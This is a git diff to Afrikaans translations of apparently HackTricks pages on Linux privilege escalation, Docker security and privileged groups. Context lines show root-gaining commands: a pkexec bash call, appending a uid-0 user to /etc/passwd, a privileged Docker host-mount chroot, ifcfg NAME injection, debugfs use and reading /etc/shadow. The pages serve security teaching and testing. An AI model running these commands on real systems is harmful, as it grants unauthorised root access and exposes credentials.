[**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -As 'n gebruiker om enige rede in staat is om **te skryf** 'n `ifcf-` skrip na _/etc/sysconfig/network-scripts_ **of** dit kan **aanpas** 'n bestaande een, dan is jou **stelsel pwned**. +As 'n gebruiker om een of ander rede in staat is om 'n **skrywe** `ifcf-` skrip na _/etc/sysconfig/network-scripts_ **of** dit kan **aanpas** 'n bestaande een, dan is jou **stelsel pwned**. Netwerk skripte, _ifcg-eth0_ byvoorbeeld, word gebruik vir netwerkverbindinge. Hulle lyk presies soos .INI lêers. Dit is egter \~sourced\~ op Linux deur Network Manager (dispatcher.d). -In my geval, die `NAME=` attribuut in hierdie netwerk skripte word nie korrek hanteer nie. As jy **wit/leë spasie in die naam het, probeer die stelsel om die deel na die wit/leë spasie uit te voer**. Dit beteken dat **alles na die eerste leë spasie as root uitgevoer word**. +In my geval word die `NAME=` attribuut in hierdie netwerk skripte nie korrek hanteer nie. As jy **wit/leë spasie in die naam het, probeer die stelsel om die deel na die wit/leë spasie uit te voer**. Dit beteken dat **alles na die eerste leë spasie as root uitgevoer word**. Byvoorbeeld: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1356,7 +1360,7 @@ Die gids `/etc/init.d` is die huis van **scripts** vir System V init (SysVinit), Aan die ander kant, `/etc/init` is geassosieer met **Upstart**, 'n nuwer **diensbestuur** wat deur Ubuntu bekendgestel is, wat konfigurasie lêers gebruik vir diensbestuur take. Ten spyte van die oorgang na Upstart, word SysVinit scripts steeds saam met Upstart konfigurasies gebruik weens 'n kompatibiliteitslaag in Upstart. -**systemd** verskyn as 'n moderne inisialisasie en diensbestuurder, wat gevorderde funksies bied soos on-demand daemon begin, automount bestuur, en stelsels staat snapshots. Dit organiseer lêers in `/usr/lib/systemd/` vir verspreidingspakkette en `/etc/systemd/system/` vir administrateur wysigings, wat die stelsels administrasie proses stroomlyn. +**systemd** verskyn as 'n moderne inisialisering en diensbestuurder, wat gevorderde funksies bied soos on-demand daemon begin, automount bestuur, en stelsels staat snapshots. Dit organiseer lêers in `/usr/lib/systemd/` vir verspreidingspakkette en `/etc/systemd/system/` vir administrateur wysigings, wat die stelsels administrasie proses stroomlyn. ## Ander Triks @@ -1385,7 +1389,7 @@ cisco-vmanage.md ## Meer hulp -[Statiese impacket binaries](https://github.com/ropnop/impacket_static_binaries) +[Statiese impacket binêre](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Gereedskap @@ -1400,7 +1404,7 @@ cisco-vmanage.md **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (fisiese toegang):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Hersameling van meer scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Hervatting van meer scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Verwysings diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index 64be84fde..81ae20d2b 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -10,9 +10,9 @@ Die **Docker engine** gebruik die Linux-kern se **Namespaces** en **Cgroups** om ### Veilige Toegang tot Docker Engine -Die Docker engine kan plaaslik via 'n Unix-sok of afstandelik met HTTP toeganklik gemaak word. Vir afstandelike toegang is dit noodsaaklik om HTTPS en **TLS** te gebruik om vertroulikheid, integriteit en outentisering te verseker. +Die Docker engine kan plaaslik via 'n Unix-soket of afstandelik met HTTP benader word. Vir afstandelike toegang is dit noodsaaklik om HTTPS en **TLS** te gebruik om vertroulikheid, integriteit en outentisering te verseker. -Die Docker engine luister standaard op die Unix-sok by `unix:///var/run/docker.sock`. Op Ubuntu-stelsels word Docker se opstartopsies gedefinieer in `/etc/default/docker`. Om afstandelike toegang tot die Docker API en kliënt te aktiveer, stel die Docker daemon bloot deur die volgende instellings by te voeg: +Die Docker engine luister standaard op die Unix-soket by `unix:///var/run/docker.sock`. Op Ubuntu-stelsels word Docker se opstartopsies gedefinieer in `/etc/default/docker`. Om afstandelike toegang tot die Docker API en kliënt te aktiveer, stel die Docker daemon bloot deur die volgende instellings by te voeg: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart @@ -30,7 +30,7 @@ Houer beelde kan in privaat of openbare repositories gestoor word. Docker bied v - [**Docker Hub**](https://hub.docker.com): 'n Openbare registrasiediens van Docker. - [**Docker Registry**](https://github.com/docker/distribution): 'n Oopbronprojek wat gebruikers toelaat om hul eie registrasie te huisves. -- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker se kommersiële registrasie-aanbod, wat rolgebaseerde gebruikersverifikasie en integrasie met LDAP-gidsdienste insluit. +- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker se kommersiële registrasie-aanbod, wat rolgebaseerde gebruikersverifikasie en integrasie met LDAP-gidsdienste bied. ### Beeld Skandering @@ -74,8 +74,8 @@ Docker beeld handtekening verseker die sekuriteit en integriteit van beelde wat - **Docker Inhoud Vertroue** maak gebruik van die Notary projek, gebaseer op The Update Framework (TUF), om beeld handtekening te bestuur. Vir meer inligting, sien [Notary](https://github.com/docker/notary) en [TUF](https://theupdateframework.github.io). - Om Docker inhoud vertroue te aktiveer, stel `export DOCKER_CONTENT_TRUST=1` in. Hierdie funksie is standaard afgeskakel in Docker weergawe 1.10 en later. -- Met hierdie funksie geaktiveer, kan slegs ondertekende beelde afgelaai word. Die aanvanklike beeld druk vereis die instelling van wagwoorde vir die wortel en etikettering sleutels, met Docker wat ook Yubikey ondersteun vir verbeterde sekuriteit. Meer besonderhede kan [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) gevind word. -- Pogings om 'n ongetekende beeld te trek met inhoud vertroue geaktiveer, lei tot 'n "Geen vertrou data vir laaste" fout. +- Met hierdie funksie geaktiveer, kan slegs onderteken beelde afgelaai word. Die aanvanklike beeld druk vereis die instelling van wagwoorde vir die wortel en etikettering sleutels, met Docker wat ook Yubikey ondersteun vir verbeterde sekuriteit. Meer besonderhede kan [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) gevind word. +- Poging om 'n ongetekende beeld te trek met inhoud vertroue geaktiveer, lei tot 'n "Geen vertrou data vir laaste" fout. - Vir beeld druk na die eerste, vra Docker vir die deposito sleutel se wagwoord om die beeld te teken. Om jou private sleutels te rugsteun, gebruik die opdrag: @@ -90,7 +90,7 @@ Wanneer jy Docker-gashere verander, is dit nodig om die wortel- en repository-sl Samevatting van Houer Sekuriteitskenmerke -**Hoof Proses Isolasie Kenmerke** +**Hoof Proses Isolasiekenmerke** In gecontaineriseerde omgewings is dit van kardinale belang om projekte en hul prosesse te isoleer vir sekuriteit en hulpbronbestuur. Hier is 'n vereenvoudigde verduideliking van sleutelkonsepte: @@ -98,17 +98,17 @@ In gecontaineriseerde omgewings is dit van kardinale belang om projekte en hul p - **Doel**: Verseker isolasie van hulpbronne soos prosesse, netwerk, en lêerstelsels. Veral in Docker, hou namespaces 'n houer se prosesse apart van die gasheer en ander houers. - **Gebruik van `unshare`**: Die `unshare` opdrag (of die onderliggende syscall) word gebruik om nuwe namespaces te skep, wat 'n bykomende laag van isolasie bied. Tog, terwyl Kubernetes dit nie inherent blokkeer nie, doen Docker dit. -- **Beperking**: Die skep van nuwe namespaces laat nie 'n proses toe om na die gasheer se standaard namespaces terug te keer nie. Om in die gasheer namespaces te dring, sou 'n mens tipies toegang tot die gasheer se `/proc` gids benodig, met `nsenter` vir toegang. +- **Beperking**: Die skep van nuwe namespaces laat nie 'n proses toe om na die gasheer se standaard namespaces terug te keer nie. Om die gasheer namespaces te penetreer, sou 'n mens tipies toegang tot die gasheer se `/proc` gids benodig, met `nsenter` vir toegang. **Beheer Groepe (CGroups)** - **Funksie**: Primêr gebruik vir die toewysing van hulpbronne onder prosesse. - **Sekuriteitsaspek**: CGroups self bied nie isolasie sekuriteit nie, behalwe vir die `release_agent` kenmerk, wat, indien verkeerd geconfigureer, potensieel misbruik kan word vir ongeoorloofde toegang. -**Vermogen Val** +**Vermogenstoename** -- **Belangrikheid**: Dit is 'n noodsaaklike sekuriteitskenmerk vir proses isolasie. -- **Funksionaliteit**: Dit beperk die aksies wat 'n wortel proses kan uitvoer deur sekere vermogens te laat val. Selfs al loop 'n proses met wortelregte, verhoed die gebrek aan die nodige vermogens dat dit bevoorregte aksies kan uitvoer, aangesien die syscalls sal misluk weens onvoldoende toestemmings. +- **Belangrikheid**: Dit is 'n noodsaaklike sekuriteitskenmerk vir prosesisolatie. +- **Funksionaliteit**: Dit beperk die aksies wat 'n wortelproses kan uitvoer deur sekere vermogens te laat val. Selfs al loop 'n proses met wortelregte, verhoed die gebrek aan die nodige vermogens dat dit bevoorregte aksies kan uitvoer, aangesien die syscalls sal misluk weens onvoldoende toestemmings. Dit is die **oorblywende vermogens** nadat die proses die ander laat val het: ``` @@ -116,7 +116,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca ``` **Seccomp** -Dit is standaard in Docker geaktiveer. Dit help om **die syscalls** wat die proses kan aanroep, **nog verder te beperk**.\ +Dit is standaard geaktiveer in Docker. Dit help om **die syscalls** wat die proses kan aanroep, **nog verder te beperk**.\ Die **standaard Docker Seccomp-profiel** kan gevind word in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) **AppArmor** @@ -129,7 +129,7 @@ Dit sal toelaat om vermoëns, syscalls, toegang tot lêers en vouers te verminde ### Namespaces -**Namespaces** is 'n kenmerk van die Linux-kern wat **kernhulpbronne** partitioneer sodat een stel **prosesse** **een stel hulpbronne** sien terwyl **'n ander** stel **prosesse** 'n **verskillende** stel hulpbronne sien. Die kenmerk werk deur die samelewing van die selfde namespace vir 'n stel hulpbronne en prosesse, maar daardie namespaces verwys na onderskeie hulpbronne. Hulpbronne kan in verskeie ruimtes bestaan. +**Namespaces** is 'n kenmerk van die Linux-kern wat **kernhulpbronne** **verdeel** sodat een stel **prosesse** **een stel hulpbronne** sien terwyl **'n ander** stel **prosesse** 'n **ander** stel hulpbronne sien. Die kenmerk werk deur die samelewing van die selfde namespace vir 'n stel hulpbronne en prosesse, maar daardie namespaces verwys na verskillende hulpbronne. Hulpbronne kan in verskeie ruimtes bestaan. Docker maak gebruik van die volgende Linux-kern Namespaces om Containere isolasie te bereik: @@ -196,9 +196,9 @@ apparmor.md - **Beleidstoepassing**: Dit handhaaf sekuriteitsbeleide wat definieer watter aksies 'n proses etiket op ander etikette binne die stelsel kan uitvoer. - **Houer Proses Etikette**: Wanneer houer enjinse houerprosesse inisieer, word hulle gewoonlik 'n beperkte SELinux-etiket, algemeen `container_t`, toegeken. - **Lêer Etikettering binne Houers**: Lêers binne die houer word gewoonlik as `container_file_t` geëtiketteer. -- **Beleidreëls**: Die SELinux-beleid verseker hoofsaaklik dat prosesse met die `container_t` etiket slegs met lêers geëtiketteer as `container_file_t` kan interaksie hê (lees, skryf, voer uit). +- **Beleidreëls**: Die SELinux-beleid verseker hoofsaaklik dat prosesse met die `container_t` etiket slegs met lêers wat as `container_file_t` geëtiketteer is, kan interaksie hê (lees, skryf, uitvoer). -Hierdie meganisme verseker dat selfs as 'n proses binne 'n houer gecompromitteer word, dit beperk is tot interaksie slegs met voorwerpe wat die ooreenstemmende etikette het, wat die potensiële skade van sulke kompromies aansienlik beperk. +Hierdie meganisme verseker dat selfs al is 'n proses binne 'n houer gecompromitteer, dit beperk is tot interaksie slegs met voorwerpe wat die ooreenstemmende etikette het, wat die potensiële skade van sulke kompromies aansienlik beperk. {{#ref}} ../selinux.md @@ -278,7 +278,7 @@ Dit is van kardinale belang om te vermy om geheime in Docker-beelde in te sluit **Docker volumes** is 'n veiliger alternatief, wat aanbeveel word vir die toegang tot sensitiewe inligting. Hulle kan as 'n tydelike lêerstelsel in geheue gebruik word, wat die risiko's wat verband hou met `docker inspect` en logging verminder. egter, wortelgebruikers en diegene met `exec` toegang tot die houer mag steeds toegang tot die geheime hê. -**Docker geheime** bied 'n selfs veiliger metode vir die hantering van sensitiewe inligting. Vir voorbeelde wat geheime tydens die beeldbou-fase benodig, bied **BuildKit** 'n doeltreffende oplossing met ondersteuning vir bou-tyd geheime, wat die bou-snelheid verbeter en addisionele funksies bied. +**Docker geheime** bied 'n selfs veiliger metode vir die hantering van sensitiewe inligting. Vir voorbeelde wat geheime tydens die beeldbou-fase benodig, bied **BuildKit** 'n doeltreffende oplossing met ondersteuning vir bou-tyd geheime, wat die bou spoed verbeter en addisionele funksies bied. Om BuildKit te benut, kan dit op drie maniere geaktiveer word: @@ -290,7 +290,7 @@ BuildKit stel die gebruik van bou-tyd geheime met die `--secret` opsie moontlik, ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` -Vir geheime wat nodig is in 'n lopende houer, **Docker Compose en Kubernetes** bied robuuste oplossings. Docker Compose gebruik 'n `secrets` sleutel in die diensdefinisie om geheime lêers te spesifiseer, soos getoon in 'n `docker-compose.yml` voorbeeld: +Vir geheime wat nodig is in 'n lopende houer, bied **Docker Compose en Kubernetes** robuuste oplossings. Docker Compose gebruik 'n `secrets` sleutel in die diensdefinisie om geheime lêers spesifiek aan te dui, soos getoon in 'n `docker-compose.yml` voorbeeld: ```yaml version: "3.7" services: @@ -305,32 +305,36 @@ file: ./my_secret_file.txt ``` Hierdie konfigurasie stel die gebruik van geheime in staat wanneer dienste met Docker Compose begin word. -In Kubernetes-omgewings word geheime van nature ondersteun en kan verder bestuur word met gereedskap soos [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes se Rolgebaseerde Toegangsbeheer (RBAC) verbeter die sekuriteit van geheime bestuur, soortgelyk aan Docker Enterprise. +In Kubernetes-omgewings word geheime van nature ondersteun en kan verder bestuur word met gereedskap soos [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes se Rolgebaseerde Toegangbeheer (RBAC) verbeter die sekuriteit van geheime bestuur, soortgelyk aan Docker Enterprise. ### gVisor -**gVisor** is 'n toepassingskern, geskryf in Go, wat 'n substansiële gedeelte van die Linux-stelselsurface implementeer. Dit sluit 'n [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime genaamd `runsc` in wat 'n **isolasiegrens tussen die toepassing en die gasheer-kern** bied. Die `runsc` runtime integreer met Docker en Kubernetes, wat dit eenvoudig maak om sandboxed houers te laat loop. +**gVisor** is 'n toepassingskern, geskryf in Go, wat 'n substansiële gedeelte van die Linux-stelselsurface implementeer. Dit sluit 'n [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime genaamd `runsc` in wat 'n **isolasiegrens tussen die toepassing en die gasheerkern** bied. Die `runsc` runtime integreer met Docker en Kubernetes, wat dit eenvoudig maak om sandboxed houers te laat loop. -{% embed url="https://github.com/google/gvisor" %} +{{#ref}} +https://github.com/google/gvisor +{{#endref}} ### Kata Containers -**Kata Containers** is 'n oopbron-gemeenskap wat werk om 'n veilige houer-runtime te bou met liggewig virtuele masjiene wat soos houers voel en presteer, maar **sterker werklading-isolasie bied met behulp van hardeware virtualisering** tegnologie as 'n tweede laag van verdediging. +**Kata Containers** is 'n oopbron-gemeenskap wat werk om 'n veilige houer runtime te bou met liggewig virtuele masjiene wat soos houers voel en presteer, maar **sterker werklading-isolasie bied met behulp van hardeware virtualisering** tegnologie as 'n tweede verdedigingslaag. -{% embed url="https://katacontainers.io/" %} +{{#ref}} +https://katacontainers.io/ +{{#endref}} ### Samevatting Wenke -- **Moet nie die `--privileged` vlag gebruik of 'n** [**Docker-soket binne die houer monteer**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Die docker soket stel in staat om houers te laat ontstaan, so dit is 'n maklike manier om volle beheer oor die gasheer te neem, byvoorbeeld deur 'n ander houer met die `--privileged` vlag te laat loop. +- **Moet nie die `--privileged` vlag gebruik of 'n** [**Docker-soket binne die houer monteer**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Die docker soket stel in staat om houers te spawn, so dit is 'n maklike manier om volle beheer oor die gasheer te neem, byvoorbeeld deur 'n ander houer met die `--privileged` vlag te laat loop. - Moet **nie as root binne die houer loop nie. Gebruik 'n** [**ander gebruiker**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **en** [**gebruikersnamespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** Die root in die houer is dieselfde as op die gasheer tensy dit met gebruikersnamespaces herverdeel word. Dit is slegs liggies beperk deur, hoofsaaklik, Linux-namespaces, vermoëns, en cgroups. - [**Laat alle vermoëns val**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) en stel slegs diegene wat benodig word in** (`--cap-add=...`). Baie werklading het nie enige vermoëns nodig nie en om dit by te voeg verhoog die omvang van 'n potensiële aanval. - [**Gebruik die “no-new-privileges” sekuriteitsopsie**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) om te voorkom dat prosesse meer voorregte verkry, byvoorbeeld deur suid-binaries. -- [**Beperk hulpbronne beskikbaar aan die houer**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Hulpbronlimiete kan die masjien beskerm teen ontkenning van diens-aanvalle. +- [**Beperk hulpbronne beskikbaar aan die houer**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Hulpbronlimiete kan die masjien teen ontkenning van diens-aanvalle beskerm. - **Pas** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(of SELinux)** profiele aan om die aksies en syscalls wat beskikbaar is vir die houer tot die minimum vereiste te beperk. -- **Gebruik** [**amptelike docker-beelde**](https://docs.docker.com/docker-hub/official_images/) **en vereis handtekeninge** of bou jou eie gebaseer daarop. Moet nie [terugdeure](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) beelde erf of gebruik nie. Stoor ook root sleutels, wagwoorde op 'n veilige plek. Docker het planne om sleutels met UCP te bestuur. -- **Bou gereeld** jou beelde om **sekuriteitsopdaterings op die gasheer en beelde toe te pas.** +- **Gebruik** [**amptelike docker beelde**](https://docs.docker.com/docker-hub/official_images/) **en vereis handtekeninge** of bou jou eie gebaseer daarop. Moet nie [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) beelde erf of gebruik nie. Stoor ook root sleutels, wagwoorde op 'n veilige plek. Docker het planne om sleutels met UCP te bestuur. +- **Bou jou beelde gereeld** om **sekuriteitsopdaterings op die gasheer en beelde toe te pas.** - Bestuur jou **geheime verstandig** sodat dit moeilik is vir die aanvaller om toegang daartoe te verkry. -- As jy **die docker daemon blootstel, gebruik HTTPS** met kliënt- en bediener-authentisering. +- As jy **die docker daemon blootstel, gebruik HTTPS** met kliënt- en bediener-sertifisering. - In jou Dockerfile, **gee voorkeur aan COPY eerder as ADD**. ADD onttrek outomaties gecomprimeerde lêers en kan lêers van URL's kopieer. COPY het nie hierdie vermoëns nie. Vermy waar moontlik die gebruik van ADD sodat jy nie kwesbaar is vir aanvalle deur middel van afgeleë URL's en Zip-lêers nie. - Het **afsonderlike houers vir elke mikro-diens** - **Moet nie ssh** binne die houer plaas nie, “docker exec” kan gebruik word om na die Houer te ssh. @@ -338,7 +342,7 @@ In Kubernetes-omgewings word geheime van nature ondersteun en kan verder bestuur ## Docker Breakout / Privilege Escalation -As jy **binne 'n docker-houer** is of jy het toegang tot 'n gebruiker in die **docker-groep**, kan jy probeer om te **ontsnap en voorregte te verhoog**: +As jy **binne 'n docker houer** is of jy het toegang tot 'n gebruiker in die **docker groep**, kan jy probeer om te **ontsnap en voorregte te verhoog**: {{#ref}} docker-breakout-privilege-escalation/ @@ -346,7 +350,7 @@ docker-breakout-privilege-escalation/ ## Docker Authentication Plugin Bypass -As jy toegang het tot die docker soket of toegang het tot 'n gebruiker in die **docker-groep maar jou aksies word beperk deur 'n docker-auth-plugin**, kyk of jy dit kan **omseil:** +As jy toegang het tot die docker soket of toegang het tot 'n gebruiker in die **docker groep maar jou aksies word beperk deur 'n docker auth plugin**, kyk of jy dit kan **omseil:** {{#ref}} authz-and-authn-docker-access-authorization-plugin.md @@ -355,7 +359,7 @@ authz-and-authn-docker-access-authorization-plugin.md ## Hardening Docker - Die gereedskap [**docker-bench-security**](https://github.com/docker/docker-bench-security) is 'n skrip wat vir dosyne algemene beste praktyke rondom die ontplooiing van Docker-houers in produksie nagaan. Die toetse is almal geoutomatiseer, en is gebaseer op die [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ -Jy moet die gereedskap vanaf die gasheer wat docker bestuur of vanaf 'n houer met genoeg voorregte uitvoer. Vind uit **hoe om dit in die README te loop:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). +Jy moet die gereedskap vanaf die gasheer wat docker draai of vanaf 'n houer met genoeg voorregte uitvoer. Vind uit **hoe om dit in die README te loop:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). ## Verwysings diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 7eedb373f..9062f3b4f 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -26,12 +26,12 @@ Vind alle suid binaire en kyk of daar die binaire **Pkexec** is: ```bash find / -perm -4000 2>/dev/null ``` -As jy vind dat die binêre **pkexec is 'n SUID binêre** en jy behoort tot **sudo** of **admin**, kan jy waarskynlik binêre uitvoer as sudo met behulp van `pkexec`.\ +As jy vind dat die binêre **pkexec is 'n SUID binêre** en jy behoort tot **sudo** of **admin**, kan jy waarskynlik binêre as sudo uitvoer met `pkexec`.\ Dit is omdat dit tipies die groepe is binne die **polkit beleid**. Hierdie beleid identifiseer basies watter groepe `pkexec` kan gebruik. Kontroleer dit met: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -Daar sal jy vind watter groepe toegelaat word om **pkexec** uit te voer en **per standaard** verskyn die groepe **sudo** en **admin** in sommige Linux-distribusies. +Daar sal jy vind watter groepe toegelaat is om **pkexec** uit te voer en **per standaard** verskyn die groepe **sudo** en **admin** in sommige Linux-distribusies. Om **root te word kan jy uitvoer**: ```bash @@ -43,7 +43,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` -**Dit is nie omdat jy nie toestemmings het nie, maar omdat jy nie sonder 'n GUI gekonnekteer is nie**. En daar is 'n oplossing vir hierdie probleem hier: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Jy het **2 verskillende ssh-sessies** nodig: +**Dit is nie omdat jy nie toestemmings het nie, maar omdat jy nie sonder 'n GUI gekonnekteer is nie**. En daar is 'n oplossing vir hierdie probleem hier: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Jy het **2 verskillende ssh sessies** nodig: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -72,7 +72,7 @@ Gebruikers van die **groep shadow** kan **lees** die **/etc/shadow** lêer: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` -So, lees die lêer en probeer om **enkele hashes te kraak**. +So, lees die lêer en probeer om **sommige hashes te kraak**. ## Personeel Groep @@ -96,7 +96,7 @@ $ cat /etc/crontab | grep run-parts 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } ``` -of Wanneer 'n nuwe ssh sessie aanmeld. +of Wanneer 'n nuwe ssh-sessie aanmeld. ```bash $ pspy64 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] @@ -146,11 +146,11 @@ Let daarop dat jy met debugfs ook **lêers kan skryf**. Byvoorbeeld, om `/tmp/as debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` -However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Toegang geweier**" error. +As jy egter probeer om **lêers wat deur root besit word** (soos `/etc/shadow` of `/etc/passwd`) te **skryf**, sal jy 'n "**Toegang geweier**" fout hê. ## Video Groep -Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: +Met die opdrag `w` kan jy **uitvind wie op die stelsel aangemeld is** en dit sal 'n uitvoer soos die volgende een toon: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash @@ -167,13 +167,13 @@ Om die **rauwe beeld** te **open**, kan jy **GIMP** gebruik, kies die \*\*`scree ![](<../../../images/image (463).png>) -Verander dan die Breedte en Hoogte na diegene wat op die skerm gebruik word en kyk na verskillende Beeldtipes (en kies die een wat die skerm beter vertoon): +Verander dan die Breedte en Hoogte na diegene wat op die skerm gebruik word en kyk na verskillende Beeldtipes (en kies die een wat die skerm beter wys): ![](<../../../images/image (317).png>) ## Root Groep -Dit lyk of **lede van die root groep** standaard toegang kan hê om sommige **diens** konfigurasielêers of sommige **biblioteek** lêers of **ander interessante dinge** wat gebruik kan word om voorregte te verhoog, te **wysig**... +Dit lyk of **lede van die root groep** standaard toegang kan hê om **te wysig** sommige **diens** konfigurasielêers of sommige **biblioteek** lêers of **ander interessante dinge** wat gebruik kan word om voorregte te verhoog... **Kontroleer watter lêers root lede kan wysig**: ```bash @@ -193,7 +193,7 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` -Uiteindelik, as jy nie van enige van die voorstelle hou nie, of hulle werk om een of ander rede nie (docker api firewall?) kan jy altyd probeer om **'n bevoorregte houer te loop en daarvan te ontsnap** soos hier verduidelik: +Laastens, as jy nie van enige van die voorstelle hou nie, of hulle werk om een of ander rede nie (docker api firewall?) kan jy altyd probeer om **'n bevoorregte houer te loop en daarvan te ontsnap** soos hier verduidelik: {{#ref}} ../docker-security/ @@ -201,9 +201,13 @@ Uiteindelik, as jy nie van enige van die voorstelle hou nie, of hulle werk om ee As jy skryfrechten oor die docker socket het, lees [**hierdie pos oor hoe om voorregte te verhoog deur die docker socket te misbruik**](../#writable-docker-socket)**.** -{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} +{{#ref}} +https://github.com/KrustyHack/docker-privilege-escalation +{{#endref}} -{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} +{{#ref}} +https://fosterelli.co/privilege-escalation-via-docker.html +{{#endref}} ## lxc/lxd Groep @@ -213,7 +217,7 @@ As jy skryfrechten oor die docker socket het, lees [**hierdie pos oor hoe om voo ## Adm Groep -Gewoonlik het **lede** van die groep **`adm`** toestemming om **log** lêers te **lees** wat binne _/var/log/_ geleë is.\ +Gewoonlik het **lede** van die groep **`adm`** toestemming om **log** lêers te **lees** wat geleë is in _/var/log/_.\ Daarom, as jy 'n gebruiker binne hierdie groep gecompromitteer het, moet jy beslis **na die logs kyk**. ## Auth groep diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index e05a35b32..309575419 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,6 +1,5 @@ {{#include ../../banners/hacktricks-training.md}} - # Sudo/Admin Groepe ## **PE - Metode 1** @@ -42,7 +41,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` -**Dit is nie omdat jy nie toestemmings het nie, maar omdat jy nie sonder 'n GUI gekonnekteer is nie**. En daar is 'n oplossing vir hierdie probleem hier: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Jy het **2 verskillende ssh-sessies** nodig: +**Dit is nie omdat jy nie toestemmings het nie, maar omdat jy nie sonder 'n GUI gekonnekteer is nie**. En daar is 'n oplossing vir hierdie probleem hier: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Jy het **2 verskillende ssh sessies** nodig: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -65,7 +64,7 @@ As dit die geval is, om **root te word kan jy net uitvoer**: ```text sudo su ``` -# Shadow Group +# Shadow Groep Gebruikers van die **groep shadow** kan **lees** die **/etc/shadow** lêer: ```text @@ -111,7 +110,7 @@ Om die **rauwe beeld** te **open**, kan 